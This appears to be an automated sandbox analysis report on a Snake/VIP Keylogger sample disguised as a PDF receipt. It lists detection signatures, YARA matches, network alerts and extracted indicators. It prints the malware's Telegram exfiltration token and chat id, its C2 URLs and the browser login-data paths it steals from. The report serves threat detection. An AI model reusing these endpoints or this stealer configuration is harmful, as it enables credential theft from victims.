Edit tour

Windows Analysis Report
rDEKONT-1_15_202575kbpdf.exe

Overview

General Information

Sample name:	rDEKONT-1_15_2025__75kb__pdf.exe
Analysis ID:	1591553
MD5:	eba7ff0d3cb799af22795e1d3c55360c
SHA1:	e09436242af4a602b31b40571bebe468c229a4fb
SHA256:	701cc76315954f7e5e8b0fb36db44cdb6e6e40384be529670490523be1429d8f
Tags:	exeuser-Porcupine
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

rDEKONT-1_15_2025__75kb__pdf.exe (PID: 384 cmdline: "C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe" MD5: EBA7FF0D3CB799AF22795E1D3C55360C)

rDEKONT-1_15_2025__75kb__pdf.exe (PID: 320 cmdline: "C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe" MD5: EBA7FF0D3CB799AF22795E1D3C55360C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7946291525:AAFHJlyjrW7RJiLewU0S0ya89C3MpMemoiQ", "Chat id": "7727510436"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7946291525:AAFHJlyjrW7RJiLewU0S0ya89C3MpMemoiQ", "Chat_id": "7727510436", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d6ba:$a1: get_encryptedPassword 0x2d9d3:$a2: get_encryptedUsername 0x2d4d8:$a3: get_timePasswordChanged 0x2d5d3:$a4: get_passwordField 0x2d6d0:$a5: set_encryptedPassword 0x2ed9d:$a7: get_logins 0x2ed00:$a10: KeyLoggerEventArgs 0x2e965:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x371af2:$a1: get_encryptedPassword 0x3b4f12:$a1: get_encryptedPassword 0x3f8132:$a1: get_encryptedPassword 0x371e0b:$a2: get_encryptedUsername 0x3b522b:$a2: get_encryptedUsername 0x3f844b:$a2: get_encryptedUsername 0x371910:$a3: get_timePasswordChanged 0x3b4d30:$a3: get_timePasswordChanged 0x3f7f50:$a3: get_timePasswordChanged 0x371a0b:$a4: get_passwordField 0x3b4e2b:$a4: get_passwordField 0x3f804b:$a4: get_passwordField 0x371b08:$a5: set_encryptedPassword 0x3b4f28:$a5: set_encryptedPassword 0x3f8148:$a5: set_encryptedPassword 0x3731d5:$a7: get_logins 0x3b65f5:$a7: get_logins 0x3f9815:$a7: get_logins 0x373138:$a10: KeyLoggerEventArgs 0x3b6558:$a10: KeyLoggerEventArgs 0x3f9778:$a10: KeyLoggerEventArgs
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 384	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x9696f:$a1: get_encryptedPassword 0x96b99:$a2: get_encryptedUsername 0x967aa:$a3: get_timePasswordChanged 0x96899:$a4: get_passwordField 0x96985:$a5: set_encryptedPassword 0x988bf:$a7: get_logins 0x98837:$a10: KeyLoggerEventArgs 0x985cd:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: rDEKONT-1_15_2025__75kb__pdf.exe PID: 320	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a8c:$a1: get_encryptedPassword 0x28d9b:$a2: get_encryptedUsername 0x288b4:$a3: get_timePasswordChanged 0x289af:$a4: get_passwordField 0x28aa2:$a5: set_encryptedPassword 0x2af4e:$a7: get_logins 0x2aeb1:$a10: KeyLoggerEventArgs 0x2ab1a:$a11: KeyLoggerEventArgsEventHandler
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8ba:$a1: get_encryptedPassword 0x2dbd3:$a2: get_encryptedUsername 0x2d6d8:$a3: get_timePasswordChanged 0x2d7d3:$a4: get_passwordField 0x2d8d0:$a5: set_encryptedPassword 0x2ef9d:$a7: get_logins 0x2ef00:$a10: KeyLoggerEventArgs 0x2eb65:$a11: KeyLoggerEventArgsEventHandler
3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b651:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3acf4:$a3: \Google\Chrome\User Data\Default\Login Data 0x3af51:$a4: \Orbitum\User Data\Default\Login Data 0x3b930:$a5: \Kometa\User Data\Default\Login Data
3.2.rDEKONT-1_15_2025__75kb__pdf.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e4dc:$s1: UnHook 0x2e4e3:$s2: SetHook 0x2e4eb:$s3: CallNextHook 0x2e4f8:$s4: _hook
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2baba:$a1: get_encryptedPassword 0x2bdd3:$a2: get_encryptedUsername 0x2b8d8:$a3: get_timePasswordChanged 0x2b9d3:$a4: get_passwordField 0x2bad0:$a5: set_encryptedPassword 0x2d19d:$a7: get_logins 0x2d100:$a10: KeyLoggerEventArgs 0x2cd65:$a11: KeyLoggerEventArgsEventHandler
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39851:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38ef4:$a3: \Google\Chrome\User Data\Default\Login Data 0x39151:$a4: \Orbitum\User Data\Default\Login Data 0x39b30:$a5: \Kometa\User Data\Default\Login Data
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c6dc:$s1: UnHook 0x2c6e3:$s2: SetHook 0x2c6eb:$s3: CallNextHook 0x2c6f8:$s4: _hook
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8ba:$a1: get_encryptedPassword 0x70cda:$a1: get_encryptedPassword 0xb3efa:$a1: get_encryptedPassword 0x2dbd3:$a2: get_encryptedUsername 0x70ff3:$a2: get_encryptedUsername 0xb4213:$a2: get_encryptedUsername 0x2d6d8:$a3: get_timePasswordChanged 0x70af8:$a3: get_timePasswordChanged 0xb3d18:$a3: get_timePasswordChanged 0x2d7d3:$a4: get_passwordField 0x70bf3:$a4: get_passwordField 0xb3e13:$a4: get_passwordField 0x2d8d0:$a5: set_encryptedPassword 0x70cf0:$a5: set_encryptedPassword 0xb3f10:$a5: set_encryptedPassword 0x2ef9d:$a7: get_logins 0x723bd:$a7: get_logins 0xb55dd:$a7: get_logins 0x2ef00:$a10: KeyLoggerEventArgs 0x72320:$a10: KeyLoggerEventArgs 0xb5540:$a10: KeyLoggerEventArgs
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b651:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7ea71:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc1c91:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3acf4:$a3: \Google\Chrome\User Data\Default\Login Data 0x7e114:$a3: \Google\Chrome\User Data\Default\Login Data 0xc1334:$a3: \Google\Chrome\User Data\Default\Login Data 0x3af51:$a4: \Orbitum\User Data\Default\Login Data 0x7e371:$a4: \Orbitum\User Data\Default\Login Data 0xc1591:$a4: \Orbitum\User Data\Default\Login Data 0x3b930:$a5: \Kometa\User Data\Default\Login Data 0x7ed50:$a5: \Kometa\User Data\Default\Login Data 0xc1f70:$a5: \Kometa\User Data\Default\Login Data
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e4dc:$s1: UnHook 0x718fc:$s1: UnHook 0xb4b1c:$s1: UnHook 0x2e4e3:$s2: SetHook 0x71903:$s2: SetHook 0xb4b23:$s2: SetHook 0x2e4eb:$s3: CallNextHook 0x7190b:$s3: CallNextHook 0xb4b2b:$s3: CallNextHook 0x2e4f8:$s4: _hook 0x71918:$s4: _hook 0xb4b38:$s4: _hook
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb52da:$a1: get_encryptedPassword 0xf86fa:$a1: get_encryptedPassword 0x13b91a:$a1: get_encryptedPassword 0xb55f3:$a2: get_encryptedUsername 0xf8a13:$a2: get_encryptedUsername 0x13bc33:$a2: get_encryptedUsername 0xb50f8:$a3: get_timePasswordChanged 0xf8518:$a3: get_timePasswordChanged 0x13b738:$a3: get_timePasswordChanged 0xb51f3:$a4: get_passwordField 0xf8613:$a4: get_passwordField 0x13b833:$a4: get_passwordField 0xb52f0:$a5: set_encryptedPassword 0xf8710:$a5: set_encryptedPassword 0x13b930:$a5: set_encryptedPassword 0xb69bd:$a7: get_logins 0xf9ddd:$a7: get_logins 0x13cffd:$a7: get_logins 0xb6920:$a10: KeyLoggerEventArgs 0xf9d40:$a10: KeyLoggerEventArgs 0x13cf60:$a10: KeyLoggerEventArgs
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.492e818.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xb5efc:$s1: UnHook 0xf931c:$s1: UnHook 0x13c53c:$s1: UnHook 0xb5f03:$s2: SetHook 0xf9323:$s2: SetHook 0x13c543:$s2: SetHook 0xb5f0b:$s3: CallNextHook 0xf932b:$s3: CallNextHook 0x13c54b:$s3: CallNextHook 0xb5f18:$s4: _hook 0xf9338:$s4: _hook 0x13c558:$s4: _hook
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13ccfa:$a1: get_encryptedPassword 0x18011a:$a1: get_encryptedPassword 0x1c333a:$a1: get_encryptedPassword 0x13d013:$a2: get_encryptedUsername 0x180433:$a2: get_encryptedUsername 0x1c3653:$a2: get_encryptedUsername 0x13cb18:$a3: get_timePasswordChanged 0x17ff38:$a3: get_timePasswordChanged 0x1c3158:$a3: get_timePasswordChanged 0x13cc13:$a4: get_passwordField 0x180033:$a4: get_passwordField 0x1c3253:$a4: get_passwordField 0x13cd10:$a5: set_encryptedPassword 0x180130:$a5: set_encryptedPassword 0x1c3350:$a5: set_encryptedPassword 0x13e3dd:$a7: get_logins 0x1817fd:$a7: get_logins 0x1c4a1d:$a7: get_logins 0x13e340:$a10: KeyLoggerEventArgs 0x181760:$a10: KeyLoggerEventArgs 0x1c4980:$a10: KeyLoggerEventArgs
0.2.rDEKONT-1_15_2025__75kb__pdf.exe.48a6df8.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13d91c:$s1: UnHook 0x180d3c:$s1: UnHook 0x1c3f5c:$s1: UnHook 0x13d923:$s2: SetHook 0x180d43:$s2: SetHook 0x1c3f63:$s2: SetHook 0x13d92b:$s3: CallNextHook 0x180d4b:$s3: CallNextHook 0x1c3f6b:$s3: CallNextHook 0x13d938:$s4: _hook 0x180d58:$s4: _hook 0x1c3f78:$s4: _hook
Click to see the 27 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T04:01:59.838451+0100	2803305	3	Unknown Traffic	192.168.2.5	49709	104.21.96.1	443	TCP
2025-01-15T04:02:01.273507+0100	2803305	3	Unknown Traffic	192.168.2.5	49712	104.21.96.1	443	TCP
2025-01-15T04:02:03.911273+0100	2803305	3	Unknown Traffic	192.168.2.5	49717	104.21.96.1	443	TCP
2025-01-15T04:02:05.166137+0100	2803305	3	Unknown Traffic	192.168.2.5	49719	104.21.96.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T04:01:58.177441+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49706	193.122.6.168	80	TCP
2025-01-15T04:01:59.286838+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49706	193.122.6.168	80	TCP
2025-01-15T04:02:00.522599+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49710	193.122.6.168	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T04:02:09.897310+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	49726	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 15 Jan 2025 03:02:09 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:414408%0D%0ADate%20a
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003255000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003246000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003246000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enh
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.000000000310C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003151000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.000000000310C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/h
Source: rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
